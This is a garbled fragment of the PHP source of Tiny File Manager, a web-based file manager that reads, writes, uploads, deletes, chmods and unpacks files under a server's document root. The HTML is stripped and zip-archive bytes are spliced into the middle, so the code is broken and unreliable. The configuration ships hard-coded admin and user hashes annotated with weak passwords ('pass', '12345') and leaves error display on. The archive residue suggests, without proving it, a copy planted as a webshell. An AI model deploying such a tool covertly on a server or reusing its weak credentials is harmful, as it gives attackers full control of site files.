(is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
    Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
    '; $msg .= '
    Seems like you have a trailing slash on the URL.'; $msg .= '
    Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

    '; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    PK65\Vsxfhk/index.phpnuW+A 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$D5FN5gNpeDd4IB9XwjNES.hbDWuHpYCQ.GPWh4SwE4iz2nVvYA3wO', //pass 'user' => '$2y$10$/KVtAF/hL79tCnCbZOeQnedoXXbBIe.sw9r02yPX0Uhy85GUsRe9q' //12345 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong $http_host = $_SERVER['HTTP_HOST']; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'd.m.y H:i'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Availabe rules are 'google', 'microsoft' or false // google => View documents using Google Docs Viewer // microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000; // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the customized config file, try to use it to override the default config above $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Show directory size: true or speedup output: false $calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter(''); session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); fm_redirect(FM_SELF_URL); } // Validate connection IP if($ip_ruleset != 'OFF'){ $clientIp = $_SERVER['REMOTE_ADDR']; $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Auth if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL . '?p='); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>
    ".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // AJAX Request if (isset($_POST['ajax']) && !FM_READONLY) { // save if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = FM_ROOT_PATH; $response = scan(fm_clean_path($_POST['path']), $_POST['content']); echo json_encode($response); exit(); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = $_POST['file']; $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['calc_folder'] != $caf) { $cfg->data['calc_folder'] = $caf; $calc_folder = $caf; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(basename($url), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, get_file_path()); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Create folder if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) { $type = $_GET['type']; $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($_GET['type'] == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = $_GET['copy']; $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copyied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) { // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Rename if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) { // old name $old = $_GET['ren']; $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = $_GET['to']; $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Download if (isset($_GET['dl'])) { $dl = $_GET['dl']; $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { $override_file_name = false; $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($_REQUEST['fullpath'])) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $_REQUEST['fullpath']; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if(file_exists ($fullPath) && !$override_file_name) { $ext_1 = $ext ? '.'.$ext : ''; $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1; } if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Pack files if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $files = $_POST['file']; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Unpack if (isset($_GET['unzip']) && !FM_READONLY) { $unzip = $_GET['unzip']; $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_GET['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . 